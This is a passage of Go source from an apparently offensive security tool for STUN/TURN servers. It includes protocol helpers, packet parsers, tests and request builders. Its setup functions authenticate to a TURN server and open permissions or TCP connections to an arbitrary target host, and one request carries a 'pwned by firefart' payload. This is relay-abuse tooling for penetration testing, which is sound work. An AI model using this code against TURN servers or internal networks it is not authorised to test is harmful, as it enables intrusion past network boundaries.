27 | func AttributeTypeString(a AttributeType) string { 28 | str, ok := attrNames[a] 29 | if ok { 30 | return str 31 | } 32 | str, ok = turnAttrNames[a] 33 | if ok { 34 | return str 35 | } 36 | str, ok = turnTCPAttrNames[a] 37 | if ok { 38 | return str 39 | } 40 | return "" 41 | } 42 | 43 | func RequestedTransportString(r RequestedTransport) string { 44 | str, ok := requestedTransportNames[r] 45 | if ok { 46 | return str 47 | } 48 | return "" 49 | } 50 | 51 | func RequestedAddressFamilyString(r AllocateProtocol) string { 52 | str, ok := allocateProtocolNames[r] 53 | if ok { 54 | return str 55 | } 56 | return "" 57 | } 58 | -------------------------------------------------------------------------------- /internal/helpers_stun.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "crypto/hmac" 5 | "crypto/md5" 6 | "crypto/sha1" 7 | "encoding/binary" 8 | "fmt" 9 | "hash/crc32" 10 | ) 11 | 12 | const ( 13 | fingerprint = 0x5354554e // nolint:unused 14 | ) 15 | 16 | // Align the uint16 number to the smallest multiple of 4, which is larger than 17 | // or equal to the uint16 number. 18 | func align(n uint16) uint16 { 19 | return (n + 3) & 0xfffc 20 | } 21 | 22 | // Padding handles the padding required for STUN packets 23 | func Padding(bytes []byte) []byte { 24 | length := uint16(len(bytes)) 25 | return append(bytes, make([]byte, align(length)-length)...) 26 | } 27 | 28 | /* 29 | The FINGERPRINT attribute MAY be present in all STUN messages. The 30 | value of the attribute is computed as the CRC-32 of the STUN message 31 | up to (but excluding) the FINGERPRINT attribute itself, XOR'ed with 32 | the 32-bit value 0x5354554e 33 | */ 34 | // nolint:unused 35 | func generateFingerprint(buf []byte) []byte { 36 | crc := crc32.ChecksumIEEE(buf) ^ fingerprint 37 | ret := make([]byte, 4) 38 | binary.BigEndian.PutUint32(ret, crc) 39 | return ret 40 | } 41 | 42 | func calculateMessageIntegrity(buf []byte, username, realm, password string) ([]byte, error) { 43 | // key = MD5(username ":" realm ":" SASLprep(password)) 44 | key := fmt.Sprintf("%s:%s:%s", username, realm, password) 45 | // key := password 46 | md := md5.New() 47 | if _, err := md.Write([]byte(key)); err != nil { 48 | return nil, err 49 | } 50 | hmacKey := md.Sum(nil) 51 | 52 | x := hmac.New(sha1.New, hmacKey) 53 | if _, err := x.Write(buf); err != nil { 54 | return nil, err 55 | } 56 | return x.Sum(nil), nil 57 | } 58 | -------------------------------------------------------------------------------- /internal/helpers_stun_test.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "bytes" 5 | "testing" 6 | ) 7 | 8 | func TestPadding(t *testing.T) { 9 | t.Parallel() 10 | 11 | tests := []struct { 12 | testName string 13 | inputLen int 14 | expectedLen int 15 | }{ 16 | {"Does not pad an empty array", 0, 0}, 17 | {"Pads a 3 byte string", 3, 4}, 18 | {"Pads a 5 byte string", 5, 8}, 19 | {"Does not pad a 4 byte string", 4, 4}, 20 | {"Does not pad a 32 byte string", 32, 32}, 21 | } 22 | for _, tt := range tests { 23 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables 24 | t.Run(tt.testName, func(t *testing.T) { 25 | t.Parallel() 26 | input := bytes.Repeat([]byte{1}, tt.inputLen) 27 | output := Padding(input) 28 | if len(output) != tt.expectedLen { 29 | t.Errorf("Expected %d got %d", tt.expectedLen, len(output)) 30 | } 31 | }) 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /internal/helpers_turn.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "encoding/binary" 7 | "fmt" 8 | "net" 9 | "net/netip" 10 | "time" 11 | 12 | "github.com/firefart/stunner/internal/helper" 13 | ) 14 | 15 | func xor(content, key []byte) []byte { 16 | var buf []byte 17 | index := 0 18 | for i := 0; i < len(content); i++ { 19 | if index >= len(key) { 20 | index = 0 21 | } 22 | buf = append(buf, content[i]^key[index]) 23 | index++ 24 | } 25 | return buf 26 | } 27 | 28 | // xorAddr implements the XOR required for the STUN and TURN protocol 29 | // 30 | // 0 1 2 3 31 | // 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 32 | // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 33 | // |x x x x x x x x| Family | X-Port | 34 | // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 35 | // | X-Address (Variable) 36 | // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 37 | // 38 | // Figure 6: Format of XOR-MAPPED-ADDRESS Attribute 39 | func xorAddr(ip netip.Addr, port uint16, transactionID []byte) ([]byte, error) { 40 | var family uint16 41 | var key []byte 42 | 43 | if ip.Is6() { 44 | family = uint16(0x02) 45 | key = append(MagicCookie, transactionID...) 46 | } else if ip.Is4() { 47 | family = uint16(0x01) 48 | key = MagicCookie 49 | } else { 50 | return nil, fmt.Errorf("invalid IP address %02x", ip) 51 | } 52 | 53 | var buf []byte 54 | 55 | /* 56 | If the IP 57 | address family is IPv4, X-Address is computed by taking the mapped IP 58 | address in host byte order, XOR'ing it with the magic cookie, and 59 | converting the result to network byte order. If the IP address 60 | family is IPv6, X-Address is computed by taking the mapped IP address 61 | in host byte order, XOR'ing it with the concatenation of the magic 62 | cookie and the 96-bit transaction ID, and converting the result to 63 | network byte order. 64 | */ 65 | magicInt := binary.BigEndian.Uint16(MagicCookie) 66 | 67 | buf = append(buf, helper.PutUint16(family)...) 68 | buf = append(buf, helper.PutUint16(port^magicInt)...) 69 | 70 | ipByte := ip.AsSlice() 71 | buf = append(buf, xor(ipByte, key)...) 72 | 73 | return buf, nil 74 | } 75 | 76 | func ParseMappedAdress(input []byte) (*netip.Addr, uint16, error) { 77 | if len(input) < 5 { 78 | return nil, 0, fmt.Errorf("invalid buffer length %d, need to be > 4", len(input)) 79 | } 80 | family := input[0:2] // 0x0001 = ipv4, 0x0002 = ipv6 81 | if !bytes.Equal(family, []byte{0o0, 0o1}) && !bytes.Equal(family, []byte{0o0, 0o2}) { 82 | return nil, 0, fmt.Errorf("invalid family %02x", family) 83 | } 84 | portRaw := input[2:4] 85 | payload := input[4:] 86 | portInt := binary.BigEndian.Uint16(portRaw) 87 | ip, ok := netip.AddrFromSlice(payload) 88 | if !ok { 89 | return nil, 0, fmt.Errorf("invalid IP %02x", payload) 90 | } 91 | return &ip, portInt, nil 92 | } 93 | 94 | func ConvertXORAddr(input []byte, transactionID string) (string, uint16, error) { 95 | if len(input) < 5 { 96 | return "", 0, fmt.Errorf("invalid buffer length %d, need to be > 4", len(input)) 97 | } 98 | family := input[0:2] // 0x0001 = ipv4, 0x0002 = ipv6 99 | if !bytes.Equal(family, []byte{0o0, 0o1}) && !bytes.Equal(family, []byte{0o0, 0o2}) { 100 | return "", 0, fmt.Errorf("invalid family %02x", family) 101 | } 102 | portRaw := input[2:4] 103 | payload := input[4:] 104 | magicInt := binary.BigEndian.Uint16(MagicCookie) 105 | portInt := binary.BigEndian.Uint16(portRaw) 106 | port := portInt ^ magicInt 107 | 108 | key := MagicCookie 109 | switch family[1] { 110 | case 0x01: 111 | key = MagicCookie 112 | case 0x02: 113 | key = append(MagicCookie, transactionID...) 114 | } 115 | 116 | host := xor(payload, key) 117 | ip, ok := netip.AddrFromSlice(host) 118 | if !ok { 119 | return "", 0, fmt.Errorf("invalid IP %02x", host) 120 | } 121 | return ip.String(), port, nil 122 | } 123 | 124 | // SetupTurnConnection executes the following: 125 | // 126 | // Allocate Unauth (to get realm and nonce) 127 | // Allocate Auth 128 | // CreatePermission 129 | // 130 | // it returns the connection, the realm, the nonce and an error 131 | func SetupTurnConnection(ctx context.Context, logger DebugLogger, connectProtocol string, turnServer string, useTLS bool, timeout time.Duration, targetHost netip.Addr, targetPort uint16, username, password string) (net.Conn, string, string, error) { 132 | remote, err := Connect(ctx, connectProtocol, turnServer, useTLS, timeout) 133 | if err != nil { 134 | return nil, "", "", err 135 | } 136 | 137 | addressFamily := AllocateProtocolIgnore 138 | if targetHost.Is6() { 139 | addressFamily = AllocateProtocolIPv6 140 | } 141 | 142 | allocateRequest := AllocateRequest(RequestedTransportUDP, addressFamily) 143 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, logger, remote, timeout) 144 | if err != nil { 145 | return nil, "", "", fmt.Errorf("error on sending AllocateRequest: %w", err) 146 | } 147 | if allocateResponse.Header.MessageType.Class != MsgTypeClassError { 148 | return nil, "", "", fmt.Errorf("MessageClass is not Error (should be not authenticated)") 149 | } 150 | 151 | realm := string(allocateResponse.GetAttribute(AttrRealm).Value) 152 | nonce := string(allocateResponse.GetAttribute(AttrNonce).Value) 153 | 154 | allocateRequest = AllocateRequestAuth(username, password, nonce, realm, RequestedTransportUDP, addressFamily) 155 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, logger, remote, timeout) 156 | if err != nil { 157 | return nil, "", "", fmt.Errorf("error on sending AllocateRequest Auth: %w", err) 158 | } 159 | if allocateResponse.Header.MessageType.Class == MsgTypeClassError { 160 | return nil, "", "", fmt.Errorf("error on AllocateRequest Auth: %s", allocateResponse.GetErrorString()) 161 | } 162 | permissionRequest, err := CreatePermissionRequest(username, password, nonce, realm, targetHost, targetPort) 163 | if err != nil { 164 | return nil, "", "", fmt.Errorf("error on generating CreatePermissionRequest: %w", err) 165 | } 166 | permissionResponse, err := permissionRequest.SendAndReceive(ctx, logger, remote, timeout) 167 | if err != nil { 168 | return nil, "", "", fmt.Errorf("error on sending CreatePermissionRequest: %w", err) 169 | } 170 | if permissionResponse.Header.MessageType.Class == MsgTypeClassError { 171 | return nil, "", "", fmt.Errorf("error on CreatePermission: %s", permissionResponse.GetErrorString()) 172 | } 173 | 174 | return remote, realm, nonce, nil 175 | } 176 | -------------------------------------------------------------------------------- /internal/helpers_turn_test.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "encoding/hex" 5 | "net/netip" 6 | "testing" 7 | ) 8 | 9 | func TestXorAddr(t *testing.T) { 10 | t.Parallel() 11 | // IPv4 127.0.0.1:22 12 | expected := "000121045e12a443" 13 | x, err := xorAddr(netip.MustParseAddr("127.0.0.1"), 22, []byte("ASDF")) 14 | if err != nil { 15 | t.Error(err) 16 | } 17 | h := hex.EncodeToString(x) 18 | if h != expected { 19 | t.Errorf("expected %q, got %q", expected, h) 20 | } 21 | } 22 | 23 | func TestConvertXORAddr(t *testing.T) { 24 | t.Parallel() 25 | 26 | tests := []struct { 27 | input string 28 | transactionID string 29 | expectedHost string 30 | expectedPort uint16 31 | }{ 32 | {"000121422112a442", "ASDF", "0.0.0.0", 80}, 33 | } 34 | for _, tt := range tests { 35 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables 36 | t.Run(tt.input, func(t *testing.T) { 37 | t.Parallel() 38 | in, err := hex.DecodeString(tt.input) 39 | if err != nil { 40 | t.Fatalf("invalid input %s: %v", tt.input, err) 41 | } 42 | host, port, err := ConvertXORAddr(in, tt.transactionID) 43 | if err != nil { 44 | t.Fatalf("could not convert xor %s: %v", tt.input, err) 45 | } 46 | if host != tt.expectedHost { 47 | t.Errorf("Host: expected %q but got %q", tt.expectedHost, host) 48 | } 49 | if port != tt.expectedPort { 50 | t.Errorf("Port: expected %d but got %d", tt.expectedPort, port) 51 | } 52 | }) 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /internal/helpers_turntcp.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net" 7 | "net/netip" 8 | "time" 9 | ) 10 | 11 | type keepAlive interface { 12 | SetKeepAlive(bool) 13 | } 14 | 15 | // SetupTurnTCPConnection executes the following: 16 | // 17 | // Allocate Unauth (to get realm and nonce) 18 | // Allocate Auth 19 | // Connect 20 | // Opens Data Connection 21 | // ConnectionBind 22 | // 23 | // it returns the controlConnection, the dataConnection and an error 24 | func SetupTurnTCPConnection(ctx context.Context, logger DebugLogger, turnServer string, useTLS bool, timeout time.Duration, targetHost netip.Addr, targetPort uint16, username, password string) (string, string, net.Conn, net.Conn, error) { 25 | // protocol needs to be tcp 26 | controlConnection, err := Connect(ctx, "tcp", turnServer, useTLS, timeout) 27 | if err != nil { 28 | return "", "", nil, nil, fmt.Errorf("error on establishing control connection: %w", err) 29 | } 30 | 31 | if x, ok := controlConnection.(keepAlive); ok { 32 | logger.Debug("controlconnection: set keepalive to true") 33 | x.SetKeepAlive(true) 34 | } 35 | 36 | logger.Debugf("opened turn tcp control connection from %s to %s", controlConnection.LocalAddr().String(), controlConnection.RemoteAddr().String()) 37 | 38 | addressFamily := AllocateProtocolIgnore 39 | if targetHost.Is6() { 40 | addressFamily = AllocateProtocolIPv6 41 | } 42 | 43 | allocateRequest := AllocateRequest(RequestedTransportTCP, addressFamily) 44 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, logger, controlConnection, timeout) 45 | if err != nil { 46 | return "", "", nil, nil, fmt.Errorf("error on sending allocate request 1: %w", err) 47 | } 48 | if allocateResponse.Header.MessageType.Class != MsgTypeClassError { 49 | return "", "", nil, nil, fmt.Errorf("MessageClass is not Error (should be not authenticated)") 50 | } 51 | 52 | realm := string(allocateResponse.GetAttribute(AttrRealm).Value) 53 | nonce := string(allocateResponse.GetAttribute(AttrNonce).Value) 54 | 55 | allocateRequest = AllocateRequestAuth(username, password, nonce, realm, RequestedTransportTCP, addressFamily) 56 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, logger, controlConnection, timeout) 57 | if err != nil { 58 | return "", "", nil, nil, fmt.Errorf("error on sending allocate request 2: %w", err) 59 | } 60 | if allocateResponse.Header.MessageType.Class == MsgTypeClassError { 61 | return "", "", nil, nil, fmt.Errorf("error on allocate response: %s", allocateResponse.GetErrorString()) 62 | } 63 | 64 | connectRequest, err := ConnectRequestAuth(username, password, nonce, realm, targetHost, targetPort) 65 | if err != nil { 66 | return "", "", nil, nil, fmt.Errorf("error on generating Connect request: %w", err) 67 | } 68 | connectResponse, err := connectRequest.SendAndReceive(ctx, logger, controlConnection, timeout) 69 | if err != nil { 70 | return "", "", nil, nil, fmt.Errorf("error on sending Connect request: %w", err) 71 | } 72 | if connectResponse.Header.MessageType.Class == MsgTypeClassError { 73 | return "", "", nil, nil, fmt.Errorf("error on Connect response: %s", connectResponse.GetErrorString()) 74 | } 75 | 76 | connectionID := connectResponse.GetAttribute(AttrConnectionID).Value 77 | 78 | dataConnection, err := Connect(ctx, "tcp", turnServer, useTLS, timeout) 79 | if err != nil { 80 | return "", "", nil, nil, fmt.Errorf("error on establishing data connection: %w", err) 81 | } 82 | 83 | if x, ok := dataConnection.(keepAlive); ok { 84 | logger.Debug("dataconnection: set keepalive to true") 85 | x.SetKeepAlive(true) 86 | } 87 | 88 | logger.Debugf("opened turn tcp data connection from %s to %s", dataConnection.LocalAddr().String(), dataConnection.RemoteAddr().String()) 89 | 90 | connectionBindRequest := ConnectionBindRequest(connectionID, username, password, nonce, realm) 91 | connectionBindResponse, err := connectionBindRequest.SendAndReceive(ctx, logger, dataConnection, timeout) 92 | if err != nil { 93 | return "", "", nil, nil, fmt.Errorf("error on sending ConnectionBind request: %w", err) 94 | } 95 | if connectionBindResponse.Header.MessageType.Class == MsgTypeClassError { 96 | return "", "", nil, nil, fmt.Errorf("error on ConnectionBind reposnse: %s", connectionBindResponse.GetErrorString()) 97 | } 98 | 99 | return realm, nonce, controlConnection, dataConnection, nil 100 | } 101 | -------------------------------------------------------------------------------- /internal/logger.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | type DebugLogger interface { 4 | Debug(...interface{}) 5 | Debugf(format string, args ...interface{}) 6 | } 7 | -------------------------------------------------------------------------------- /internal/parsers_stun.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | ) 7 | 8 | // fromBytes creates a STUN object from a byte slice 9 | func fromBytes(data []byte) (*Stun, error) { 10 | t := new(Stun) 11 | if len(data) < headerSize { 12 | return nil, fmt.Errorf("invalid turn packet. Packet Data: %s", string(data)) 13 | } 14 | headerRaw := data[0:headerSize] 15 | t.Header = parseHeader(headerRaw) 16 | expectedPacketSize := int(t.Header.MessageLength) + headerSize 17 | if expectedPacketSize != len(data) { 18 | extraData := "" 19 | if expectedPacketSize < len(data) { 20 | extraData = string(data[expectedPacketSize:]) 21 | } 22 | return nil, fmt.Errorf("attribute message size (%d) missmatch to received data (%d). extra data: %s", expectedPacketSize, len(data), extraData) 23 | } 24 | attributesRaw := data[headerSize:expectedPacketSize] 25 | t.Attributes = parseAttributes(attributesRaw) 26 | return t, nil 27 | } 28 | 29 | func parseHeader(header []byte) Header { 30 | parsedHeader := Header{ 31 | MessageType: parseSTUNMessageType(header[:2]), 32 | MessageLength: binary.BigEndian.Uint16(header[2:4]), 33 | TransactionID: string(header[8:20]), 34 | } 35 | return parsedHeader 36 | } 37 | 38 | func parseSTUNMessageType(msgType []byte) MessageType { 39 | buf := binary.BigEndian.Uint16(msgType) 40 | // Example: 0x0113 = Allocate Error Response (Class 3 and Method 3) 41 | // 0x0113 --> 0000 0001 0001 0011 42 | // 0x0010 --> 0000 0000 0001 0000 --> Get Error Bit 43 | // 0x0100 --> 0000 0001 0000 0000 --> Get Error Bit 44 | // --> 0000 0000 0000 0011 --> 3 45 | class := ((buf & 0x0010) >> 4) | ((buf & 0x0100) >> 7) 46 | // Example: 0x0113 = Allocate Error Response (Class 3 and Method 3) 47 | // 0x0113 --> 0000 0001 0001 0011 48 | // 0x000F --> 0000 0000 0000 1111 --> Get last 4 bit 49 | // 0x00E0 --> 0000 0000 1110 0000 --> Get next 3 bits 50 | // 0x3E00 --> 0011 1110 0000 0000 --> Get next bits 51 | // --> 0000 0000 0000 0011 --> 3 52 | method := (buf & 0x000F) | ((buf & 0x00E0) >> 1) | ((buf & 0x3E00) >> 2) 53 | return MessageType{ 54 | Class: MessageTypeClass(class), 55 | Method: MessageTypeMethod(method), 56 | } 57 | } 58 | 59 | func parseAttributes(attributes []byte) []Attribute { 60 | var attrs []Attribute 61 | if len(attributes) == 0 { 62 | return attrs 63 | } 64 | attrsRemaining := true 65 | inLength := len(attributes) 66 | var bufPos uint16 67 | for attrsRemaining { 68 | attr := Attribute{} 69 | attr.Type = AttributeType(binary.BigEndian.Uint16(attributes[bufPos : 2+bufPos])) 70 | bufPos += 2 71 | attr.Length = binary.BigEndian.Uint16(attributes[bufPos : 2+bufPos]) 72 | bufPos += 2 73 | attr.Value = attributes[bufPos : attr.Length+bufPos] 74 | bufPos += attr.Length 75 | // Padding 76 | if rem := bufPos % 4; rem != 0 { 77 | attr.padding = 4 - rem 78 | bufPos += attr.padding 79 | } 80 | if int(bufPos) >= inLength { 81 | attrsRemaining = false 82 | } 83 | attrs = append(attrs, attr) 84 | } 85 | return attrs 86 | } 87 | -------------------------------------------------------------------------------- /internal/parsers_stun_test.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "testing" 7 | ) 8 | 9 | func TestFromBytes(t *testing.T) { 10 | t.Parallel() 11 | 12 | tests := []struct { 13 | testName string 14 | input string 15 | }{ 16 | {"Allocate Request", "000300102112a442dca12e20d9251238502b86ac0019000411000000000d000400000320"}, 17 | {"Allocate Error Response", "011300402112a442dca12e20d9251238502b86ac0009001000000401556e617574686f72697a6564001500103164393836623466373632633436306400140009736c61636b2e636f6df84f66802200044e6f6e65"}, 18 | {"Allocate Success", "010300402112a442dca12e20d9251238502b86ac001600080001fb862b33a419002000080001e51c0f190adb000d000400000320802200044e6f6e6500080014537f619e9bd4f5b2f4a1d81001fe0dd1fa5c1d0d"}, 19 | {"Send Indication", "001600382112a442dca12e20d9251238502b86ac00120008000121275e12a443001300258c550100000100000000000008636c69656e74733506676f6f676c6503636f6d0000010001000000"}, 20 | {"Allocate Request TCP", "000300102112a442cf513b99ab329be6bb1a7d3e0019000406000000000d000400000320"}, 21 | {"Connect Response", "010a00202112a442cf513b99ab329be6bb1a7d3e002a000435d8cb0d000800143519a43cda074bbbb61ac44342a0618ee9583817"}, 22 | } 23 | for _, tt := range tests { 24 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables 25 | t.Run(tt.testName, func(t *testing.T) { 26 | t.Parallel() 27 | in, err := hex.DecodeString(tt.input) 28 | if err != nil { 29 | t.Fatalf("invalid input on %s: %v", tt.testName, err) 30 | } 31 | s, err := fromBytes(in) 32 | if err != nil { 33 | t.Fatalf("could not parse paket: %v", err) 34 | } 35 | fmt.Printf("%+v\n", s) 36 | if s.Header.TransactionID == "" { 37 | t.Fatal("transaction id is empty") 38 | } 39 | }) 40 | } 41 | } 42 | 43 | func TestFromBytesFail(t *testing.T) { 44 | t.Parallel() 45 | 46 | tests := []struct { 47 | testName string 48 | input string 49 | }{ 50 | {"Fails on an invalid message", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, 51 | {"Fails on short message", "aa"}, 52 | {"Fails on empty message", ""}, 53 | {"Fails on an invalid message (invalid attribute size)", "01130aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}, 54 | } 55 | for _, tt := range tests { 56 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables 57 | t.Run(tt.testName, func(t *testing.T) { 58 | t.Parallel() 59 | in, err := hex.DecodeString(tt.input) 60 | if err != nil { 61 | t.Fatalf("invalid input on %s: %v", tt.testName, err) 62 | } 63 | _, err = fromBytes(in) 64 | if err == nil { 65 | t.Fatal("should have gotten an error") 66 | } 67 | }) 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /internal/parsers_turn.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | ) 7 | 8 | // ExtractChannelData extracts the channel and length from a UDP data packet 9 | func ExtractChannelData(buf []byte) ([]byte, []byte, error) { 10 | if len(buf) < 4 { 11 | return nil, nil, fmt.Errorf("invalid buf len %d", len(buf)) 12 | } 13 | channelNumber := buf[:2] 14 | dataLength := binary.BigEndian.Uint16(buf[2:4]) 15 | data := buf[4:] 16 | if int(dataLength) != len(data) { 17 | return nil, nil, fmt.Errorf("reported len %d different from sent length %d", dataLength, len(data)) 18 | } 19 | return channelNumber, data, nil 20 | } 21 | -------------------------------------------------------------------------------- /internal/parsers_turn_test.go: -------------------------------------------------------------------------------- 1 | package internal 2 | -------------------------------------------------------------------------------- /internal/requests_stun.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | // BindingRequest returns a request for the BINDING method 4 | func BindingRequest() *Stun { 5 | s := newStun() 6 | s.Header.MessageType = MessageType{ 7 | Class: MsgTypeClassRequest, 8 | Method: MsgTypeMethodBinding, 9 | } 10 | 11 | return s 12 | } 13 | -------------------------------------------------------------------------------- /internal/requests_turn.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "net/netip" 7 | ) 8 | 9 | // AllocateRequest returns an ALLOCATE request 10 | func AllocateRequest(targetProtocol RequestedTransport, allocateProtcol AllocateProtocol) *Stun { 11 | transport := make([]byte, 4) 12 | binary.LittleEndian.PutUint32(transport, uint32(targetProtocol)) 13 | 14 | s := newStun() 15 | 16 | s.Header.MessageType = MessageType{ 17 | Class: MsgTypeClassRequest, 18 | Method: MsgTypeMethodAllocate, 19 | } 20 | 21 | s.Attributes = []Attribute{{ 22 | Type: AttrRequestedTransport, 23 | Value: transport, 24 | }} 25 | 26 | if allocateProtcol != AllocateProtocolIgnore { 27 | s.Attributes = append(s.Attributes, Attribute{ 28 | Type: AttrRequestedAddressFamily, 29 | // https://docs.microsoft.com/en-us/openspecs/office_protocols/ms-turn/e7efc457-9312-4a6b-8089-94032a599198 30 | // manually add the reserved bytes 31 | Value: []byte{byte(allocateProtcol), 0x00, 0x00, 0x00}, 32 | }) 33 | } 34 | 35 | return s 36 | } 37 | 38 | // AllocateRequestAuth returns an authenticated ALLOCATE request 39 | func AllocateRequestAuth(username, password, nonce, realm string, targetProtocol RequestedTransport, allocateProtcol AllocateProtocol) *Stun { 40 | transport := make([]byte, 4) 41 | binary.LittleEndian.PutUint32(transport, uint32(targetProtocol)) 42 | 43 | s := newStun() 44 | s.Username = username 45 | s.Password = password 46 | s.Header.MessageType = MessageType{ 47 | Class: MsgTypeClassRequest, 48 | Method: MsgTypeMethodAllocate, 49 | } 50 | 51 | s.Attributes = []Attribute{ 52 | { 53 | Type: AttrRequestedTransport, 54 | Value: transport, 55 | }, { 56 | Type: AttrUsername, 57 | Value: []byte(username), 58 | }, { 59 | Type: AttrRealm, 60 | Value: []byte(realm), 61 | }, { 62 | Type: AttrNonce, 63 | Value: []byte(nonce), 64 | }, 65 | } 66 | 67 | if allocateProtcol != AllocateProtocolIgnore { 68 | s.Attributes = append(s.Attributes, Attribute{ 69 | Type: AttrRequestedAddressFamily, 70 | // https://docs.microsoft.com/en-us/openspecs/office_protocols/ms-turn/e7efc457-9312-4a6b-8089-94032a599198 71 | // manually add the reserved bytes 72 | Value: []byte{byte(allocateProtcol), 0x00, 0x00, 0x00}, 73 | }) 74 | } 75 | 76 | return s 77 | } 78 | 79 | // SendRequest returns a SEND request 80 | func SendRequest(target netip.Addr, port uint16) (*Stun, error) { 81 | s := newStun() 82 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID)) 83 | if err != nil { 84 | return nil, err 85 | } 86 | 87 | s.Header.MessageType = MessageType{ 88 | Class: MsgTypeClassRequest, 89 | Method: MsgTypeMethodSend, 90 | } 91 | 92 | s.Attributes = []Attribute{ 93 | { 94 | Type: AttrXorPeerAddress, 95 | Value: targetXOR, 96 | }, { 97 | Type: AttrData, 98 | Value: []byte("pwned by firefart\n"), 99 | }, 100 | } 101 | 102 | return s, nil 103 | } 104 | 105 | // CreatePermissionRequest returns a CREATE PERMISSION request 106 | func CreatePermissionRequest(username, password, nonce, realm string, target netip.Addr, port uint16) (*Stun, error) { 107 | s := newStun() 108 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID)) 109 | if err != nil { 110 | return nil, err 111 | } 112 | 113 | s.Username = username 114 | s.Password = password 115 | s.Header.MessageType = MessageType{ 116 | Class: MsgTypeClassRequest, 117 | Method: MsgTypeMethodCreatePermission, 118 | } 119 | 120 | s.Attributes = []Attribute{ 121 | { 122 | Type: AttrXorPeerAddress, 123 | Value: targetXOR, 124 | }, { 125 | Type: AttrUsername, 126 | Value: []byte(username), 127 | }, { 128 | Type: AttrRealm, 129 | Value: []byte(realm), 130 | }, { 131 | Type: AttrNonce, 132 | Value: []byte(nonce), 133 | }, 134 | } 135 | 136 | return s, nil 137 | } 138 | 139 | // ChannelBindRequest returns a CHANNEL BIND request 140 | func ChannelBindRequest(username, password, nonce, realm string, target netip.Addr, port uint16, channelNumber []byte) (*Stun, error) { 141 | s := newStun() 142 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID)) 143 | if err != nil { 144 | return nil, err 145 | } 146 | 147 | if len(channelNumber) != 2 { 148 | return nil, fmt.Errorf("need a 2 byte channel number, got %02x", channelNumber) 149 | } 150 | 151 | s.Username = username 152 | s.Password = password 153 | s.Header.MessageType = MessageType{ 154 | Class: MsgTypeClassRequest, 155 | Method: MsgTypeMethodChannelbind, 156 | } 157 | 158 | s.Attributes = []Attribute{ 159 | { 160 | Type: AttrChannelNumber, 161 | Value: append(channelNumber, []byte{0x00, 0x00}...), 162 | }, { 163 | Type: AttrXorPeerAddress, 164 | Value: targetXOR, 165 | }, { 166 | Type: AttrUsername, 167 | Value: []byte(username), 168 | }, { 169 | Type: AttrRealm, 170 | Value: []byte(realm), 171 | }, { 172 | Type: AttrNonce, 173 | Value: []byte(nonce), 174 | }, 175 | } 176 | 177 | return s, nil 178 | } 179 | 180 | // RefreshRequest returns a REFRESH request 181 | func RefreshRequest(username, password, nonce, realm string) *Stun { 182 | s := newStun() 183 | s.Username = username 184 | s.Password = password 185 | s.Header.MessageType = MessageType{ 186 | Class: MsgTypeClassRequest, 187 | Method: MsgTypeMethodRefresh, 188 | } 189 | 190 | s.Attributes = []Attribute{ 191 | { 192 | Type: AttrUsername, 193 | Value: []byte(username), 194 | }, { 195 | Type: AttrRealm, 196 | Value: []byte(realm), 197 | }, { 198 | Type: AttrNonce, 199 | Value: []byte(nonce), 200 | }, 201 | } 202 | 203 | return s 204 | } 205 | -------------------------------------------------------------------------------- /internal/requests_turntcp.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "net/netip" 5 | ) 6 | 7 | // ConnectRequest returns a CONNECT request 8 | func ConnectRequest(target netip.Addr, port uint16) (*Stun, error) { 9 | s := newStun() 10 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID)) 11 | if err != nil { 12 | return nil, err 13 | } 14 | 15 | s.Header.MessageType = 